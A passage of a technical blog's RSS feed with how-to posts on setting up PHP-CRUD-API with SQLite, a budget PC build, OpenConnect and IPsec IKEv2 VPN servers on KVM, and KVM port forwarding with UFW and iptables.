<p>In order to get started with PHP-CRUD-API and SQLite you need a web host that
supports SQLite 3 and PHP 7. If you have that you need to download these two
files:</p>
<ol>
<li><a href="https://github.com/mevdschee/php-crud-api/raw/master/tests/fixtures/blog.sqlite">blog.sqlite</a> -
a sample SQLite database file.</li>
<li><a href="https://github.com/mevdschee/php-crud-api/raw/master/api.php">api.php</a> - the
single file PHP REST API.</li>
</ol>
<p>Store &ldquo;api.php&rdquo; in your web root folder and &ldquo;blog.sqlite&rdquo; in a path that is not
served (one directory up). In the bottom of &ldquo;api.php&rdquo; you need to adjust the
config block. Set the &ldquo;driver&rdquo; to &ldquo;sqlite&rdquo; and point the &ldquo;database&rdquo; parameter to
the &ldquo;blog.sqlite&rdquo; file you downloaded, like this:</p>
<pre><code>'driver' =&gt; 'sqlite',
'address' =&gt; '../blog.sqlite',
'username' =&gt; '',
'password' =&gt; '',
'database' =&gt; 'php-crud-api'
</code></pre>
<p>Now start &ldquo;api.php/records/posts&rdquo; in your browser and you will see the records
from the SQLite &ldquo;posts&rdquo; table in JSON. You can play also play around with other
examples from the
<a href="https://github.com/mevdschee/php-crud-api/blob/master/README.md">README</a>.</p>
<h3 id="limitations-and-future-work">Limitations and future work</h3>
<p>Although <a href="https://www.gaia-gis.it/fossil/libspatialite/index">Spatialite</a> could
offer geospatial support in SQLite, this is not implemented. Implementing it
means supporting the native SQLite3 driver instead of the PDO version. Binary
fields are also not supported (for the same reason: lack of PDO support). Online
structure changes are not supported by SQLite at all, so these are also not
implemented (these tests are skipped). Last known issue is that you cannot set
the type of an auto incrementing primary key to &ldquo;bigint&rdquo;, it must be of type
&ldquo;integer&rdquo;.</p>
<p>Have fun and report issues and questions at
<a href="https://github.com/mevdschee/php-crud-api">Github</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Ultimate NUC killer under 500</title>
      <link>https://www.tqdev.com/2019-ultimate-nuc-killer-under-500/</link>
      <pubDate>Fri, 14 Feb 2020 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-ultimate-nuc-killer-under-500/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve built another PC. This time I wanted to replace my Intel NUC i5 with
something more powerful. I&amp;rsquo;ve chosen an ASRock DeskMini A300 case (with a
STX-sized motherboard) and a Ryzen 3 3200G processor. This little machine costs
less than 500 euro, is super fast and not too noisy. I run Xubuntu 20.04 LTS and
it works great, I&amp;rsquo;m very pleased with the results!&lt;/p&gt;
&lt;h3 id=&#34;list-of-materials&#34;&gt;List of materials&lt;/h3&gt;
&lt;p&gt;The materials used in this build:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve built another PC. This time I wanted to replace my Intel NUC i5 with
something more powerful. I&rsquo;ve chosen an ASRock DeskMini A300 case (with a
STX-sized motherboard) and a Ryzen 3 3200G processor. This little machine costs
less than 500 euro, is super fast and not too noisy. I run Xubuntu 20.04 LTS and
it works great, I&rsquo;m very pleased with the results!</p>
<h3 id="list-of-materials">List of materials</h3>
<p>The materials used in this build:</p>
<pre><code>152 Asrock DeskMini A300
 76 Corsair DDR4 Vengeance LPX 2x8GB 3200 SO-DIMM
 99 AMD Ryzen 3 3200G Boxed
120 Intel 660p 1TB NVMe SSD
 45 Noctua CPU Cooler NH-L9a-AM4
--- +
492 Total
</code></pre>
<p>It is not the most power efficient machine, and I would not recommend it as an
always-on (or HTPC) server, due to it&rsquo;s high idle power usage, but it is an
awesome fast, quiet and small workstation. Note that the motherboard supports
64GB RAM and you may upgrade to the AMD 3400G for even more performance.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.asrock.com/nettop/AMD/DeskMini%20A300%20Series/index.asp">ASRock - DeskMini A300 Series</a></li>
<li><a href="https://smallformfactor.net/reviews/systems/asrocks-deskmini-a300-finally/">SFF.Network: ASRock’s DeskMini A300 – Finally!</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Install OpenConnect VPN server on KVM</title>
      <link>https://www.tqdev.com/2020-install-openconnect-vpn-server-kvm/</link>
      <pubDate>Fri, 07 Feb 2020 17:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-install-openconnect-vpn-server-kvm/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://tqdev.com/2020-install-ipsec-ikev2-vpn-server-kvm&#34;&gt;previous post&lt;/a&gt;
I have shown how to add an IPsec IKEv2 VPN to your (Ubuntu 18.04) KVM setup. In
this post I will show you how to add and configure OpenConnect VPN. I will show
how to install the VPN endpoint on a virtual machine, as a replacement for the
VPN installation that we did in the previous post. OpenConnect may be easier to
setup and maintain, but it is not clientless on Windows 10 and does require a
(user-friendly and free) VPN client.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="https://tqdev.com/2020-install-ipsec-ikev2-vpn-server-kvm">previous post</a>
I have shown how to add an IPsec IKEv2 VPN to your (Ubuntu 18.04) KVM setup. In
this post I will show you how to add and configure OpenConnect VPN. I will show
how to install the VPN endpoint on a virtual machine, as a replacement for the
VPN installation that we did in the previous post. OpenConnect may be easier to
setup and maintain, but it is not clientless on Windows 10 and does require a
(user-friendly and free) VPN client.</p>
<h3 id="install-openconnect-ocserv">Install OpenConnect (ocserv)</h3>
<p>First you need to install the OpenConnect VPN software (on Ubuntu 18.04):</p>
<pre><code>sudo apt install ocserv
</code></pre>
<p>The config file for this software is &ldquo;<code>/etc/ocserv.conf</code>&rdquo;.</p>
<h3 id="configure-forwarding-on-the-gateway">Configure forwarding on the gateway</h3>
<p>In this tutorial I assume that you are running the VPN server as a guest on your
KVM host machine and that the KVM host machine is running UFW.</p>
<p>Add the following to &ldquo;<code>/etc/ufw/before.rules</code>&rdquo; in the &ldquo;nat&rdquo; chain (as explained
in the <a href="https://tqdev.com/2020-kvm-port-forwarding-ufw">pevious post</a>) on the
KVM host:</p>
<pre><code>-A PREROUTING -i eno1 -p tcp -d 1.2.3.4 --dport 8443 -j DNAT --to-destination 10.0.122.8
-A PREROUTING -i eno1 -p udp -d 1.2.3.4 --dport 8443 -j DNAT --to-destination 10.0.122.8
</code></pre>
<p>Note that in this example &ldquo;1.2.3.4&rdquo; is the public IP address of the KVM host and
&ldquo;10.0.122.8&rdquo; is the (private and only) IP address of the VPN server.</p>
<h3 id="forward-port-80-on-the-webserver">Forward port 80 on the webserver</h3>
<p>If you run a webserver you have probably forwarded port 80 to this webserver.
Since we want to use &ldquo;certbot&rdquo; we need to configure a proxy forward for the
specific hostame of your VPN server. We use &ldquo;<code>mod_proxy_http</code>&rdquo; for this.</p>
<pre><code>sudo a2enmod proxy_http
</code></pre>
<p>Then add the following in &ldquo;<code>/etc/apache2/sites-available/100-vpncertbot.conf</code>&rdquo;</p>
<pre><code>&lt;VirtualHost *:80&gt;
    ServerName vpn.tqdev.com
    # Proxy all requests
    ProxyPreserveHost On
    ProxyPass / http://10.0.122.8:80/
&lt;/VirtualHost&gt;
</code></pre>
<p>Replace &ldquo;10.0.122.8&rdquo; with the internal IP address of your VPN server and
&ldquo;vpn.tqdev.com&rdquo; with the hostname you use for your VPN server.</p>
<h3 id="configure-lets-encrypt-automatic-certificate-renewal">Configure Lets Encrypt automatic certificate renewal</h3>
<p>To install the latest &ldquo;certbot&rdquo; you may run:</p>
<pre><code>sudo add-apt-repository ppa:certbot/certbot
sudo apt update
sudo apt install certbot
sudo certbot certonly --standalone --preferred-challenges http -d vpn.tqdev.com
sudo nano /etc/letsencrypt/renewal/vpn.tqdev.com.conf
</code></pre>
<p>A text file will open with some configuration options. Add your hook on the last
line:</p>
<pre><code>renew_hook = systemctl restart ocserv.service
</code></pre>
<p>Save and close the file, then run a &ldquo;certbot dry run&rdquo; to make sure the syntax is
ok:</p>
<pre><code>sudo certbot renew --dry-run
</code></pre>
<p>This command should give a warning:</p>
<pre><code>Dry run: skipping deploy hook command
</code></pre>
<p>And otherwise run correct, printing:</p>
<pre><code>Congratulations, all renewals succeeded.
</code></pre>
<p>Showing that certbot configuration is correct.</p>
<h3 id="openconnect-configuration">OpenConnect configuration</h3>
<p>We configure OpenConnect by editing the file &ldquo;<code>/etc/ocserv.conf</code>&rdquo; so that it has
the following content:</p>
<pre><code>auth = &quot;plain[/etc/ocserv/ocpasswd]&quot;
tcp-port = 8443
udp-port = 8443
run-as-user = nobody
run-as-group = daemon
socket-file = /var/run/ocserv-socket
server-cert = /etc/letsencrypt/live/vpn.tqdev.com/fullchain.pem
server-key = /etc/letsencrypt/live/vpn.tqdev.com/privkey.pem
ca-cert = /etc/letsencrypt/live/vpn.tqdev.com/chain.pem
use-occtl = true
max-clients = 25
max-same-clients = 1
device = vpns
dns = 10.0.122.1
# client addresses: 10.0.122.66-10.0.122.94
ipv4-network = 10.0.122.64/27
default-domain = kvm
route = 10.0.122.0/255.255.255.0
</code></pre>
<p>Make sure the &ldquo;leftid&rdquo; matches your hostname prefixed with an &ldquo;at&rdquo; sign (which
means: don&rsquo;t resolve). Adjust the &ldquo;leftsubnet&rdquo; to match with your private
network and the &ldquo;rightsourceip&rdquo; with the (virtual) ip addresses you want to give
to clients connecting to your VPN server.</p>
<p>If you want to capture all traffic and set the default route over the VPN
tunnel, you need to set:</p>
<pre><code>route = default
</code></pre>
<p>Using the command &ldquo;<code>ocpasswd</code>&rdquo; you can add users to the file
&ldquo;<code>/etc/ocserv/ocpasswd</code>&rdquo;:</p>
<pre><code>sudo ocpasswd -c /etc/ocserv/ocpasswd username1
</code></pre>
<p>The password is not stored in plain text. If you want to know who is connected,
run:</p>
<pre><code>sudo occtl show users
</code></pre>
<p>Use &ldquo;occtl help&rdquo; for other management features.</p>
<h3 id="add-dns-support-for-guests">Add DNS support for guests</h3>
<p>You probably noted the &ldquo;<code>default-domain = kvm</code>&rdquo; line in the config. It allows
VPN clients (and virtual machines) to contact each other by name. This
configuration is called &ldquo;split-DNS&rdquo;. In order to add it you must edit the
network configuration using:</p>
<pre><code>virsh net-edit default
</code></pre>
<p>Look for the line:</p>
<pre><code>&lt;ip address='10.0.122.1' netmask='255.255.255.0'&gt;
</code></pre>
<p>Add a domain configuration on the line before it, like this:</p>
<pre><code>&lt;domain name='kvm' localOnly='yes'/&gt;
&lt;ip address='10.0.122.1' netmask='255.255.255.0'&gt;
</code></pre>
<p>Now this setting allows the named virtual machine &ldquo;<code>maurits-cloud</code>&rdquo; to be
reached by other virtual machines on the hostname &ldquo;<code>maurits-cloud.kvm</code>&rdquo;.</p>
<p>This will NOT be effective until you destroy and start the network.</p>
<h3 id="set-up-ip-forwarding">Set up IP forwarding</h3>
<p>Add the following lines to the end of the file &ldquo;<code>/etc/sysctl.conf</code>&rdquo; to make your
Linux machine act as an IPv4 router:</p>
<pre><code># enable ipv4 routing
net.ipv4.ip_forward = 1
net.ipv4.conf.all.proxy_arp = 1
</code></pre>
<p>Note that the &ldquo;proxy_arp&rdquo; is an alternative for masquerading all traffic on the
VPN host. Now you need to run:</p>
<pre><code>sudo sysctl -p
</code></pre>
<p>This command reloads sysctl config file and makes the settings effective.</p>
<h3 id="fixing-dtls-handshake-failure">Fixing DTLS Handshake Failure</h3>
<p>Although connecting might succeed, it may connect slow and you may encounter the
following message in the (sys)log:</p>
<pre><code>DTLS handshake failed: Resource temporarily unavailable, try again.
</code></pre>
<p>To fix this error, we need to edit the &ldquo;/lib/systemd/system/ocserv.service&rdquo;
file. First copy it from the &ldquo;/lib/systemd/system/&rdquo; directory to
&ldquo;/etc/systemd/system/&rdquo; directory. This avoids your modifications from being
overridden or reverted by a package update.</p>
<pre><code>sudo cp /lib/systemd/system/ocserv.service /etc/systemd/system/ocserv.service
sudo nano /etc/systemd/system/ocserv.service
</code></pre>
<p>Comment out the following two lines:</p>
<pre><code>Requires=ocserv.socket
</code></pre>
<p>and:</p>
<pre><code>Also=ocserv.socket
</code></pre>
<p>Save and close the file. Then reload systemd and restart ocserv service.</p>
<pre><code>sudo systemctl daemon-reload
sudo systemctl stop ocserv.socket
sudo systemctl disable ocserv.socket
sudo systemctl restart ocserv.service
</code></pre>
<p>The ocserv systemd service won’t output any message if it fails to restart, so
we need to check the status to make sure it’s actually running.</p>
<pre><code>systemctl status ocserv
</code></pre>
<p>It should show &ldquo;active (running)&rdquo;.</p>
<h3 id="installing-the-client-on-ubuntu">Installing the client on Ubuntu</h3>
<p>If you are connecting from Windows 10, then you need to install external client
software for this VPN connection.</p>
<ul>
<li><a href="https://openconnect.github.io/openconnect-gui/">https://openconnect.github.io/openconnect-gui/</a></li>
</ul>
<p>If you use Ubuntu, then you also need to install a client. You can do so by
running:</p>
<pre><code>sudo apt install network-manager-openconnect-gnome
</code></pre>
<p>If you don&rsquo;t see the VPN option marked &ldquo;openconnect&rdquo; in the network manager
applet, then you may have to log out and in for it to appear.</p>
<h3 id="next-installing-ikev1-l2tp-vpn">Next: Installing IKEv1 L2TP VPN</h3>
<p>In the next post I will show you how to add an IKEv1 L2TP to your KVM setup. I
will show how to install the VPN endpoint on a virtual machine, as a replacement
for the VPN installation that we did in this (and previous) post. IKEv1 L2TP may
be easier to configure than IKEv2 and also does not require a VPN client on
Windows 10.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Install an IPsec IKEv2 VPN server on KVM</title>
      <link>https://www.tqdev.com/2020-install-ipsec-ikev2-vpn-server-kvm/</link>
      <pubDate>Mon, 03 Feb 2020 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-install-ipsec-ikev2-vpn-server-kvm/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://tqdev.com/2020-kvm-port-forwarding-ufw&#34;&gt;previous post&lt;/a&gt; I have
shown how to set up port forwarding to KVM virtual machines. In this post I will
show you how to add an IPsec IKEv2 VPN to your (Ubuntu 18.04) KVM setup. I will
show how to install the VPN endpoint on a virtual machine and make it available
using port forwards. This allows for a simple networking setup and easy
replacement of VPN technology.&lt;/p&gt;
&lt;h3 id=&#34;install-strongswan&#34;&gt;Install Strongswan&lt;/h3&gt;
&lt;p&gt;You need to setup a new Ubuntu virtual machine using &amp;ldquo;virt-install&amp;rdquo; (as
described &lt;a href=&#34;https://tqdev.com/2020-install-kvm-cli-ubuntu-18-04&#34;&gt;here&lt;/a&gt;). On this
newly created machine you need to install the strongswan IPsec software:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="https://tqdev.com/2020-kvm-port-forwarding-ufw">previous post</a> I have
shown how to set up port forwarding to KVM virtual machines. In this post I will
show you how to add an IPsec IKEv2 VPN to your (Ubuntu 18.04) KVM setup. I will
show how to install the VPN endpoint on a virtual machine and make it available
using port forwards. This allows for a simple networking setup and easy
replacement of VPN technology.</p>
<h3 id="install-strongswan">Install Strongswan</h3>
<p>You need to setup a new Ubuntu virtual machine using &ldquo;virt-install&rdquo; (as
described <a href="https://tqdev.com/2020-install-kvm-cli-ubuntu-18-04">here</a>). On this
newly created machine you need to install the strongswan IPsec software:</p>
<pre><code>sudo apt-get install strongswan libstrongswan-standard-plugins strongswan-libcharon libcharon-standard-plugins libcharon-extra-plugins
</code></pre>
<p>There are relevant config file in:</p>
<ul>
<li><code>/etc/ipsec.conf</code></li>
<li><code>/etc/ipsec.secrets</code></li>
<li><code>/etc/ipsec.d/</code></li>
<li><code>/etc/strongswan.conf</code></li>
<li><code>/etc/strongswan.d/</code></li>
</ul>
<p>In this tutorial we will be only modifying the first two files.</p>
<h3 id="configure-forwarding-on-the-gateway">Configure forwarding on the gateway</h3>
<p>In this tutorial I assume that you are running the VPN server as a guest on your
Ubuntu KVM host machine and that the KVM host machine is running UFW.</p>
<p>Add the following to &ldquo;<code>/etc/ufw/before.rules</code>&rdquo; in the &ldquo;nat&rdquo; chain (as explained
in the <a href="https://tqdev.com/2020-kvm-port-forwarding-ufw">previous post</a>) on the
KVM host:</p>
<pre><code>-A PREROUTING -i eno1 -p udp -d 1.2.3.4 --dport 500 -j DNAT --to-destination 10.0.122.7
-A PREROUTING -i eno1 -p udp -d 1.2.3.4 --dport 4500 -j DNAT --to-destination 10.0.122.7
</code></pre>
<p>Note that in this example &ldquo;1.2.3.4&rdquo; is the public IP address of the KVM host and
&ldquo;10.0.122.7&rdquo; is the static IP address (see this
<a href="https://tqdev.com/2020-kvm-network-static-ip-addresses">earlier post</a>) of the
VPN server.</p>
<p>This port forward is not enough, as we also need to allow forwarding of IKEv2
VPN traffic (IPsec passthrough) on the KVM host, by running:</p>
<pre><code>sudo ufw route allow in on any out on any proto esp
</code></pre>
<p>With this command we tell UFW to allow IPsec passthrough on our KVM host towards
our VPN server.</p>
<h3 id="forward-port-80-on-the-webserver">Forward port 80 on the webserver</h3>
<p>If you run a webserver as one of your KVM guests, then you have probably
forwarded port 80 to this webserver. Since we want to use &ldquo;certbot&rdquo; over HTTP we
need to configure a proxy forward for the specific hostname of your VPN server.
We use &ldquo;<code>mod_proxy_http</code>&rdquo; for this.</p>
<pre><code>sudo a2enmod proxy_http
</code></pre>
<p>Then add the following in &ldquo;<code>/etc/apache2/sites-available/100-vpncertbot.conf</code>&rdquo;</p>
<pre><code>&lt;VirtualHost *:80&gt;
    ServerName vpn.tqdev.com
    # Proxy all requests
    ProxyPreserveHost On
    ProxyPass / http://10.0.122.7:80/
&lt;/VirtualHost&gt;
</code></pre>
<p>Replace &ldquo;10.0.122.7&rdquo; with the internal IP address of your VPN server and
&ldquo;vpn.tqdev.com&rdquo; with the hostname you use for your VPN server.</p>
<h3 id="configure-lets-encrypt-automatic-certificate-renewal">Configure Lets Encrypt automatic certificate renewal</h3>
<p>To install the latest &ldquo;certbot&rdquo; you may run:</p>
<pre><code>sudo add-apt-repository ppa:certbot/certbot
sudo apt update
sudo apt install certbot
sudo certbot certonly --standalone --preferred-challenges http -d vpn.tqdev.com
sudo nano /etc/letsencrypt/renewal/vpn.tqdev.com.conf
</code></pre>
<p>A text file will open with some configuration options. Add your hook on the last
line:</p>
<pre><code>renew_hook = cp /etc/letsencrypt/live/vpn.tqdev.com/fullchain.pem /etc/ipsec.d/certs/ &amp;&amp; cp /etc/letsencrypt/live/vpn.tqdev.com/chain.pem /etc/ipsec.d/cacerts/ &amp;&amp; cp /etc/letsencrypt/live/vpn.tqdev.com/privkey.pem /etc/ipsec.d/private/ &amp;&amp; ipsec reload
</code></pre>
<p>Save and close the file, then run a &ldquo;certbot dry run&rdquo; to make sure the syntax is
ok:</p>
<pre><code>sudo certbot renew --dry-run
</code></pre>
<p>This command should give a warning:</p>
<pre><code>Dry run: skipping deploy hook command
</code></pre>
<p>And otherwise run correct, printing:</p>
<pre><code>Congratulations, all renewals succeeded.
</code></pre>
<p>Showing that certbot configuration is correct.</p>
<h3 id="strongswan-roadwarrior-configuration">Strongswan roadwarrior configuration</h3>
<p>We configure Strongswan by editing the file &ldquo;<code>/etc/ipsec.conf</code>&rdquo; so that it has
the following content:</p>
<pre><code>config setup
    strictcrlpolicy=yes
    uniqueids=no

conn roadwarrior
    auto=add
    type=tunnel
    keyexchange=ikev2
    fragmentation=yes
    forceencaps=yes
    ike=aes256-aes128-sha256-sha1-modp3072-modp2048-modp1024
    dpdaction=clear
    dpddelay=180s
    rekey=no
    left=%any
    leftid=@vpn.tqdev.com
    leftcert=fullchain.pem
    leftsendcert=always
    leftsubnet=10.0.122.0/24
    right=%any
    rightid=%any
    rightauth=eap-mschapv2
    eap_identity=%identity
    rightsendcert=never
    rightsourceip=10.0.122.50-10.0.122.100
</code></pre>
<p>Make sure the &ldquo;leftid&rdquo; matches your hostname prefixed with an &ldquo;at&rdquo; sign (which
means: don&rsquo;t resolve). Adjust the &ldquo;leftsubnet&rdquo; to match with your private
network and the &ldquo;rightsourceip&rdquo; with the (virtual) ip addresses you want to give
to clients connecting to your VPN server.</p>
<p>If you want to capture all traffic and set the default route over the VPN
tunnel, you need to set:</p>
<pre><code>leftsubnet=0.0.0.0/0
</code></pre>
<p>If you want to suggest a DNS server (such as Cloudflare DNS), you may add:</p>
<pre><code>rightdns=1.1.1.1,1.0.0.1
</code></pre>
<p>Note that Windows 10 may only set a default route for IPv4 traffic (and use the
suggested DNS server) if you disable IPv6 on your LAN adapter.</p>
<p>In the file &ldquo;<code>/etc/ipsec.secrets</code>&rdquo; you should put the following to create 3
users:</p>
<pre><code>vpn.tqdev.com : RSA &quot;privkey.pem&quot;
username1 : EAP &quot;SomeVeryLongAndSecretPasswordForUser1&quot;
username2 : EAP &quot;SomeVeryLongAndSecretPasswordForUser2&quot;
username3 : EAP &quot;SomeVeryLongAndSecretPasswordForUser3&quot;
</code></pre>
<p>The first line identifies the server using the private key. The next 3 lines
define 3 users. Make sure that there are spaces around the colon (&quot;:&quot;) as shown
above.</p>
<h3 id="set-up-forwarding">Set up forwarding</h3>
<p>Add the following lines to the end of the file &ldquo;<code>/etc/sysctl.conf</code>&rdquo; to make your
Linux machine act as an IPv4 router:</p>
<pre><code># enable ipv4 routing
net.ipv4.ip_forward = 1
</code></pre>
<p>Now you need to run:</p>
<pre><code>sudo sysctl -p
</code></pre>
<p>This command reloads sysctl config file and makes the settings effective.</p>
<h3 id="installing-the-client-on-ubuntu">Installing the client on Ubuntu</h3>
<p>If you are connecting from Windows 10, then you don&rsquo;t need to install client
software for this VPN connection. If you use Ubuntu, then you need to install a
client. You can do so by running:</p>
<pre><code>sudo apt install network-manager-strongswan libcharon-standard-plugins libcharon-extra-plugins
</code></pre>
<p>If you don&rsquo;t see the VPN option marked &ldquo;strongswan&rdquo; in the network manager
applet, then you may have to log out and in for it to appear.</p>
<h3 id="next-installing-openconnect-vpn">Next: Installing OpenConnect VPN</h3>
<p>In the next post I will show you how to add an OpenConnect VPN to your KVM
setup. I will show how to install the VPN endpoint on a virtual machine, as a
replacement for the IPsec VPN server that we installed in this post. OpenConnect
may be easier to setup and maintain, but it does require VPN client software on
Windows 10.</p>
<p><a href="https://tqdev.com/2020-install-openconnect-vpn-server-kvm">Click here to read the next article (on how to add OpenConnect VPN to your KVM setup)</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>KVM port forwarding with UFW</title>
      <link>https://www.tqdev.com/2020-kvm-port-forwarding-ufw/</link>
      <pubDate>Mon, 27 Jan 2020 06:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-kvm-port-forwarding-ufw/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://tqdev.com/2020-kvm-network-static-ip-addresses&#34;&gt;previous post&lt;/a&gt; I
have shown how to set up static IP addresses for virtual machines in KVM (on
Ubuntu 18.04). I have also shown how to reconfigure the IP range of the KVM
network. In this post I will show how to do port forwarding of specific traffic
to your virtual machines without turning off UFW. This requires to reconfigure
the KVM network to a &amp;ldquo;routed&amp;rdquo; network with explicit forwarding rules in
iptables.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="https://tqdev.com/2020-kvm-network-static-ip-addresses">previous post</a> I
have shown how to set up static IP addresses for virtual machines in KVM (on
Ubuntu 18.04). I have also shown how to reconfigure the IP range of the KVM
network. In this post I will show how to do port forwarding of specific traffic
to your virtual machines without turning off UFW. This requires to reconfigure
the KVM network to a &ldquo;routed&rdquo; network with explicit forwarding rules in
iptables.</p>
<h3 id="ufw-and-iptables-chains">UFW and iptables chains</h3>
<p>Before we start it is good to understand the relation between the 4 chains of
iptables and UFW (Uncomplicated FireWall). Iptables has these 4 chains:</p>
<ul>
<li><strong>mangle</strong> is to change packets (Type Of Service, Time To Live etc) on
traversal.</li>
<li><strong>nat</strong> is to put in NAT rules.</li>
<li><strong>raw</strong> is to be used for marking and connection tracking.</li>
<li><strong>filter</strong> is for filtering packets.</li>
</ul>
<p>UFW only adjusts the &ldquo;filter&rdquo; chain. It does so by maintaining rules in
&ldquo;<code>iptables-restore</code>&rdquo; format in the &ldquo;<code>/etc/ufw/</code>&rdquo; directory. The first file that
is read by UFW is the file &ldquo;<code>/etc/ufw/before.rules</code>&rdquo;. We will use this file to
maintain the contents of the iptables &ldquo;nat&rdquo; chain.</p>
<h3 id="custom-routing-of-the-kvm-network">Custom routing of the KVM network</h3>
<p>We will change our network to type &ldquo;route&rdquo;, so that there will be no (NAT)
traffic flowing unless we explicitly specify it. Let&rsquo;s look again at our network
configuration:</p>
<pre><code>virsh net-edit default
</code></pre>
<p>And look for the line:</p>
<pre><code>&lt;forward mode='nat'/&gt;
</code></pre>
<p>Change it into:</p>
<pre><code>&lt;forward mode='route'/&gt;
</code></pre>
<p>Now we need to restart the network for this change to be effective:</p>
<pre><code>virsh net-destroy default
virsh net-start default
</code></pre>
<p>Note that you need to shutdown all VMs and start all VMs again as the network
restart breaks their connectivity.</p>
<h3 id="set-up-forwarding">Set up forwarding</h3>
<p>Add the following lines to the end of the file &ldquo;<code>/etc/sysctl.conf</code>&rdquo; to make your
Linux machine act as an IPv4 router:</p>
<pre><code># enable ipv4 routing
net.ipv4.ip_forward = 1
</code></pre>
<p>Now you need to run:</p>
<pre><code>sudo sysctl -p
</code></pre>
<p>This command reloads sysctl config file and makes the settings effective.</p>
<h3 id="setting-up-ufw-routing">Setting up UFW routing</h3>
<p>To allow access to and from virtual machines we need the &ldquo;<code>ufw route</code>&rdquo; commands.
Allow the KVM virtual machines to connect to the Internet, using:</p>
<pre><code>sudo ufw route allow in on virbr0 out on eno1 from 10.0.122.0/24
</code></pre>
<p>To allow traffic from the Internet on our public interface to the specific
subnet on our KVM bridge interface, execute:</p>
<pre><code>sudo ufw route allow in on eno1 out on virbr0 to 10.0.122.0/24
</code></pre>
<p>Now you may still experience failing DNS (nslookup) and DHCP (dhclient)
requests. To fix that run:</p>
<pre><code>sudo ufw allow in on virbr0
</code></pre>
<p>This last command tells UFW to allow incomming traffic on the virbr0 (internal)
interface.</p>
<h3 id="the-iptables-nat-chain">The iptables nat chain</h3>
<p>The iptables nat chain holds the effective NAT rules. We can let UFW flush the
nat rules and set them again by modifying the file &ldquo;<code>/etc/ufw/before.rules</code>&rdquo;. In
this file add the following section to the top of the file (before the filter
chain):</p>
<pre><code># Section to route the libvirt network
*nat
:PREROUTING ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
-F
-A PREROUTING -i eno1 -p tcp -d 1.2.3.4 --dport 80 -j DNAT --to-destination 10.0.122.10
-A PREROUTING -i eno1 -p tcp -d 1.2.3.4 --dport 443 -j DNAT --to-destination 10.0.122.10
-A POSTROUTING -s 10.0.122.0/24 -o eno1 -j MASQUERADE
COMMIT
</code></pre>
<p>Note that &ldquo;eno1&rdquo; should be replaced by the public interface and &ldquo;1.2.3.4&rdquo; by the
public IP address. Also, the range &ldquo;10.0.122.0/24&rdquo; should match your private
network and &ldquo;10.0.122.10&rdquo; the virtual machine handling the (web) traffic on TCP
port 80 and 443 (HTTP and HTTPS).</p>
<h3 id="testing-the-forward">Testing the forward</h3>
<p>To execute the &ldquo;<code>before.rules</code>&rdquo; file and make these rules effective run:</p>
<pre><code>sudo ufw reload
</code></pre>
<p>To see whether or not our &ldquo;nat&rdquo; iptables chain looks good we can run:</p>
<pre><code>sudo iptables -t nat -L -v
</code></pre>
<p>It shows the current state (with some traffic counters, useful for debugging):</p>
<pre><code>Chain PREROUTING (policy ACCEPT 10 packets, 600 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    4   240 DNAT       tcp  --  eno1   any     anywhere             1.2.3.4         tcp dpt:http to:10.0.122.10
    6   360 DNAT       tcp  --  eno1   any     anywhere             1.2.3.4         tcp dpt:https to:10.0.122.10

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain POSTROUTING (policy ACCEPT 303 packets, 18196 bytes)
 pkts bytes target     prot opt in     out     source               destination         
  303 18196 MASQUERADE all  --  any    eno1    10.0.122.0/24        anywhere
</code></pre>
<p>Now try connecting over HTTPS to the alternative (forwared) port:</p>
<pre><code>curl https://1.2.3.4/
</code></pre>
<p>This should now be responded to by the webserver on the virtual machine at
10.0.122.10.</p>
<h3 id="next-installing-ipsec-ikev2-vpn">Next: Installing IPsec IKEv2 VPN</h3>
<p>In the next post I will show you how to add an IPsec IKEv2 VPN to your KVM
setup. I will show how to install the VPN endpoint on a virtual machine and make
it available using port forwards. This allows for a simple networking setup and
easy replacement of VPN technology.</p>
<p><a href="https://tqdev.com/2020-install-ipsec-ikev2-vpn-server-kvm">Click here to read the next article (on how to install an IPsec IKEv2 VPN server on KVM)</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Static IP addresses in a KVM network</title>
      <link>https://www.tqdev.com/2020-kvm-network-static-ip-addresses/</link>
      <pubDate>Thu, 23 Jan 2020 07:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-kvm-network-static-ip-addresses/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://tqdev.com/2020-serial-console-access-kvm-cli&#34;&gt;previous post&lt;/a&gt; I
have shown how to use the serial console in KVM (on Ubuntu 18.04) and how to
access it on the KVM CLI. In this post I will show how to set up static IP
addresses for your KVM virtual machines. Static IP addresses are a requirement
for doing port forwarding, a topic we will touch in another post in this blog
series. In this post we will also explore how to reconfigure the IP range for
your KVM virtual machines.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="https://tqdev.com/2020-serial-console-access-kvm-cli">previous post</a> I
have shown how to use the serial console in KVM (on Ubuntu 18.04) and how to
access it on the KVM CLI. In this post I will show how to set up static IP
addresses for your KVM virtual machines. Static IP addresses are a requirement
for doing port forwarding, a topic we will touch in another post in this blog
series. In this post we will also explore how to reconfigure the IP range for
your KVM virtual machines.</p>
<h3 id="set-fixed-ip-address">Set fixed IP address</h3>
<p>In order to find the MAC address of the virtual machine named &ldquo;maurits-cloud&rdquo;
you can run:</p>
